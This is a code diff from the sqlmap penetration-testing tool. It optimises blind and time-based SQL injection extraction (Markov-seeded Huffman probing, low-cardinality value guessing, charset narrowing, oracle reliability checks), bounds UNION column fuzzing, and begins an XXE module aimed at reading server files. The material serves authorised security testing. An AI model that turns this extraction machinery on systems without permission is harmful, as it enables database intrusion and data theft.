from lib.core.common import getCounter
from lib.core.common import getFileItems
from lib.core.common import getPartRun
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import goGoodSamaritan
from lib.core.common import openFile
from lib.core.common import predictValue
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
@ -34,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CHARSET_TYPE
@ -44,6 +47,13 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import HUFFMAN_PROBE_LIMIT
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK
from lib.core.settings import DUMP_CHARSET_STABLE_ROWS
from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES
from lib.core.settings import LOW_CARDINALITY_THRESHOLD
from lib.core.settings import NAME_PREDICTION_CONTEXTS
from lib.core.settings import NAME_MARKOV_ORDER
from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY
from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS
from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH
from lib.core.settings import INFERENCE_BLANK_BREAK
@ -73,6 +83,174 @@ from thirdparty import six
# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
_HUFFMAN_FALLBACK = object()
# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process
_huffmanPriorCache = {}
def normalizedExpression(expression):
"""
Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies
from row to row is masked so every row of the same column maps to a single key. Used to group a
column's values for low-cardinality guessing and for its per-column online Huffman model.
>>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1")
True
"""
retVal = expression
for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"):
retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I)
return retVal
def getHuffmanPrior(order, scale, dbms=None):
"""
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
set-membership tree during blind NAME enumeration (so it predicts from the first character rather
than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the
back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching
[<DBMS>] section of catalog-identifiers.txt - a single global model dilutes across dialects).
Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model.
"""
if (order, scale, dbms) in _huffmanPriorCache:
return _huffmanPriorCache[(order, scale, dbms)]
prior = {}
names = []
for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES):
try:
names.extend(getFileItems(path))
except Exception:
pass
if dbms:
try:
with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f:
section = None
for line in f:
line = line.strip()
if not line or line.startswith('#'):
continue
if line.startswith('[') and line.endswith(']'):
section = line[1:-1]
elif section == dbms:
names.append(line)
except Exception:
pass
for name in names:
terminated = name + "\x00"
for i in xrange(len(terminated)):
ordinal = ord(terminated[i])
if ordinal < 128:
counts = prior.setdefault(terminated[max(0, i - order):i], {})
counts[ordinal] = counts.get(ordinal, 0) + 1
for counts in prior.values():
peak = max(counts.values()) or 1
for ordinal in counts:
counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak)))
_huffmanPriorCache[(order, scale, dbms)] = prior
return prior
def contextWeights(model, prior, order, prefix):
"""
Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus
the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest
context has not been seen yet. The online model is snapshotted under kb.locks.prediction because
value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise).
"""
weights = {}
context = prefix[-order:] if order > 0 else ""
while True:
with kb.locks.prediction:
online = dict(model.get(context) or ())
for source in (online, prior.get(context) if prior is not None else None):
if source:
for symbol, count in source.items():
weights[symbol] = weights.get(symbol, 0) + count
if weights or not context:
break
context = context[1:]
return weights
def valueMatchCondition(expressionUnescaped, value):
"""
Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a
string), or None when a whole-value equality cannot be trusted and the caller must fall back to
per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification.
Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by
the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same
bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a
needless re-extraction). ASCII values compare reliably.
On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a
numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare-
number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL)
"text = 1" is a hard type error that would abort the whole boolean, and there the expression is already
text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides
whether a whole-value shortcut hits or falls back to per-character extraction.
>>> valueMatchCondition("q", "abc").count("OR")
0
>>> valueMatchCondition("q", u"caf\\xe9") is None
True
"""
if value is None or any(ord(_) >= 128 for _ in value):
return None
quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False)
condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted)
if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE:
condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value)
return condition
def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare):
"""
Known-answer differential health-check on the inference oracle, using the value just extracted.
Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = <value with one
character corrupted>" (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel
(e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe,
and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal.
Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected
inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII).
"""
if not value or valueMatchCondition(expressionUnescaped, value) is None:
return True
# a definitely-different copy: flip the last character to a neighbour that cannot equal it
corrupt = value[:-1] + ("a" if value[-1] != "a" else "b")
corruptCondition = valueMatchCondition(expressionUnescaped, corrupt)
if corruptCondition is None:
return True
try:
truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value))))
mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition)))
mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
except Exception:
return True # a transient hiccup is not evidence of an unreliable oracle
return bool(mustBeTrue) and not bool(mustBeFalse)
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
partialValue = u""
finalValue = None
retrievedLength = 0
columnKey = None
if payload is None:
return 0, None
@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
expression = match.group(2).strip()
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the
# engine is called from the API, or a JSON report is being collected (so enumeration output is tagged)
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api or conf.reportJson:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
# kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH
# the value-parallel and the classic serial name-enumeration paths. It is derived from the call
# stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites
# when it finds a match, so it does NOT clobber the context the value-parallel helper set for its
# worker threads (whose call stack does not include the enumeration method -> getPartRun is None).
derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson))
if derivedPartRun is not None:
kb.partRun = derivedPartRun
if partialValue:
firstChar = len(partialValue)
@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
expressionUnescaped = unescaper.escape(expression)
# Row-independent key for this column (pagination offset masked), grouping all of a column's
# rows for low-cardinality guessing and for its own per-column online Huffman model.
columnKey = normalizedExpression(expression) if dump else None
# Low-cardinality whole-value guessing: when the distinct values already seen for this column are
# few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them
# (one request on a hit) before per-character extraction - a large win on the enum/flag/status/
# category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails).
# Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed
# request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires
# on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay.
if columnKey is not None and not partialValue:
# Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently).
with kb.locks.prediction:
seen = dict(kb.lowCardCache.get(columnKey) or ())
# Arm only once SOME value has repeated (max count >= 2): that is the proof the column is
# low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe.
# Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a
# column that trips the threshold with many near-unique values wastes only a bounded number of
# probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value.
if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2:
for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]:
matchCondition = valueMatchCondition(expressionUnescaped, candidate)
if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char
continue
forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)))
hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if hit and timeBasedCompare:
# A single time-based boolean is noisy; confirm the whole-value hit with a
# not-equals check (validateChar spirit) before trusting it, so timing jitter can
# never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the
# ~7-delays/char x N of full extraction.
notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition)))
hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if hit:
threadData.lowCardHit = True
return getCounter(getTechnique()), candidate
# Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context
# and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name
# from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN
# order-0 model: each column learns its own character distribution, so a column restricted to few
# characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone
# (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution.
# Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads
# too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is.
if kb.partRun in NAME_PREDICTION_CONTEXTS:
huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER
huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms())
else:
huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
length = int(length)
else:
@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
numThreads = 1
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
@ -295,12 +529,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
back to the classic bisection. Returns the character, or None to fall back.
"""
ESCAPE = -1
model = kb.huffmanModel
model = kb.huffmanModel.setdefault(huffmanKey, {})
threadData = getCurrentThreadData()
# Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online
# model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the
# first character); order 0 collapses to the classic single-context adaptive model. Retrieval
# is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so
# the model - even raced under threads - only ever affects speed, never the returned value.
context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else ""
weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue)
heap = []
for order, ordinal in enumerate(xrange(128)):
heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
counter = 129
while len(heap) > 1:
@ -337,12 +580,23 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Guard against target-side length limits / WAFs that reject the (potentially long)
# "IN (...)" list: an HTTP error code that is not the technique's own true/false code means
# this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk
# cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=')
# bisection, which re-extracts and validates it; the escape counter in getChar() latches
# Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a
# normal content-based (200/200) response never trips it.
if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)):
return _HUFFMAN_FALLBACK
node = testNode if result else otherNode
value = node[0]
if value == ESCAPE:
model[ESCAPE] = model.get(ESCAPE, 0) + 1
with kb.locks.prediction:
model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1
return _HUFFMAN_FALLBACK
if value == 0:
@ -365,13 +619,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
kb.disableHuffman = True
return _HUFFMAN_FALLBACK
model[value] = model.get(value, 0) + 1
with kb.locks.prediction:
model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1
return decodeIntToUnicode(value)
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
restricted means charTbl is a narrowed per-column observed range (time-based only): a character
landing outside it fails validateChar and is re-extracted over the full charset.
"""
threadData = getCurrentThreadData()
@ -381,7 +639,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result:
return result
if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare
# Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for
# time-based, where each membership step is timing-noisy and lacks per-character validation
# (measured to trade accuracy for little/no gain there); time-based relies on plain bisection
# plus low-cardinality whole-value guessing instead.
if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare
and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload
and ("'%s'" % CHAR_INFERENCE_MARK) not in payload):
kb.huffmanProbes = (kb.huffmanProbes or 0) + 1
@ -545,6 +807,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if restricted:
# the character fell outside this column's observed range - re-extract
# over the full charset (not timing noise, so no delay increase / retry count)
return getChar(idx, asciiTbl, True, retried=retried)
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
@ -625,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return None
else:
return decodeIntToUnicode(candidates[0])
elif restricted:
# the self-validating '=' failed: the character is outside this column's observed set
# (or is end-of-string) - re-extract over the full charset, which validates the value
# and detects end-of-string correctly
return getChar(idx, asciiTbl, True, retried=retried)
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
@ -732,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# If a single wordlist entry matches the prefix, confirm
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
@ -778,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
# Char-by-char fallback. When Huffman is actually active it is driven over the full
# (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next
# character at its root (~1 request), subsuming the common/other charset split. When
# Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED
# where getChar disables it) the classic reordered-charset bisection is used instead - so
# the predicted commonCharset ordering is not thrown away (time-based would otherwise pay
# full-charset bisection for every character).
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare:
val = getChar(index, asciiTbl, True)
else:
if commonCharset:
val = getChar(index, commonCharset, False)
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
# Time-based dump: once a column's character set has proven closed (unchanged for
# DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those
# observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality
# self-validates the character (no separate validateChar). A narrow-charset column (hex,
# digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1
# delayed requests/char. A character outside the observed set makes that '=' fail and is
# re-extracted over the full charset (see the restricted escalation in getChar). Time-based
# only: boolean has no per-character validation to catch such a miss (and uses Huffman).
restrictedTbl = None
if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset
and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS):
with kb.locks.prediction:
observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe)
if observed and len(observed) <= 64:
# include the 0 end-of-string sentinel so end is detected in-band (the bit-search
# returns None on 0), avoiding a full-charset escalation at the end of every value
restrictedTbl = sorted(observed | set((0,)))
if restrictedTbl is not None:
val = getChar(index, restrictedTbl, False, expand=False, restricted=True)
else:
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
if val is None:
finalValue = partialValue
@ -831,11 +1128,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one
hashDBWrite(expression, finalValue)
# Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted
# value for its enumeration context so later same-context items sharing structure are predicted
# faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool);
# a wrong prediction only ever costs a probe and falls back to bisection.
if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None
# Adaptive intra-run prediction: remember this extracted name for its enumeration context so
# later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster.
# Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a
# value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe.
if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None
and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
@ -861,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
_ = finalValue or partialValue
# Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most
# common values are probed first; bounded so a clearly high-cardinality column stops accumulating).
if columnKey is not None and finalValue:
# Track the column's low-cardinality cache and observed character set. Guarded by the prediction
# lock because value-parallel dump workers update these concurrently.
ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128)
with kb.locks.prediction:
seen = kb.lowCardCache.setdefault(columnKey, {})
if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2:
seen[finalValue] = seen.get(finalValue, 0) + 1
if ordinals:
existing = kb.dumpCharset.setdefault(columnKey, set())
grew = not ordinals.issubset(existing) # did this row introduce a never-seen character?
existing.update(ordinals)
# Trust the observed alphabet as closed only after it stays unchanged for several consecutive
# rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and
# never triggers the restricted search, so it is never charged the miss-then-escalate cost.
kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1
# Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a
# known-answer differential so an always-true / flaky / degraded channel that would otherwise dump
# SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always
# checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th.
if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode
and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)):
with kb.locks.prediction:
kb.litmusCounter += 1
due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0)
if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare):
kb.reliabilityAlarm = True
warnMsg = "the target's responses are inconsistent for known-true/known-false probes "
warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may "
warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying"
singleTimeWarnMessage(warnMsg)
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def queryOutputLength(expression, payload):

View file

@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN
from lib.core.enums import PAYLOAD
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
from lib.core.settings import FUZZ_UNION_MAX_REQUESTS
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices)
attempts = 0
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal:
if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search
break
elif FUZZ_UNION_COLUMN.STRING not in candidate:
continue
else:
attempts += 1
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None:
msg = "do you want to (re)try to find proper "
msg += "UNION column types with fuzzy test? [y/N] "
msg += "UNION column types with a fuzzy test? [Y/n] "
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True)
if kb.fuzzUnionTest:
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
# apply the discovered per-column type template through a normal confirmation so
# the resulting vector (and later extraction) is built with type-compatible columns
if kb.unionTemplate:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate))
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
if not readInput(message, default='Y', boolean=True):
@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
negativeLogic = kb.negativeLogic
setTechnique(PAYLOAD.TECHNIQUE.UNION)
kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter
try:
if negativeLogic:
pushValue(kb.negativeLogic)

View file

@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted

View file

@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass

View file

@ -0,0 +1,928 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
import time
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import XXE_SOURCE_NAMES
from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
from lib.core.settings import XXE_TIME_THRESHOLD
from lib.request.connect import Connect as Request
# Fresh per-scan sentinel token. Deliberately a random opaque string (never
# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
# so its presence in a response is unambiguously our reflected/expanded value.
SENTINEL = randomStr(length=12, lowercase=True)
# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'),
# it is preserved as this placeholder and used as the SOLE injection spot, instead of
# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
_MARKER = None
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
_OOB_CONSENT = None
# First element of the document (skipping the <?xml?> prolog, comments and any
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
# A leaf text node: >text< with no markup/entities inside. Used to place an
# entity reference where the application is most likely to echo it back.
_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<")
def _looksXml(data):
data = (getText(data) or "").strip()
return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
def _toSystemId(path):
"""Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
consistently across every tier."""
p = getText(path or "").strip()
if "://" in p:
return p
return "file:///" + p.replace("\\", "/").lstrip("/")
def _toResource(path):
"""Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
p = getText(path or "").strip()
if p.startswith("file://"):
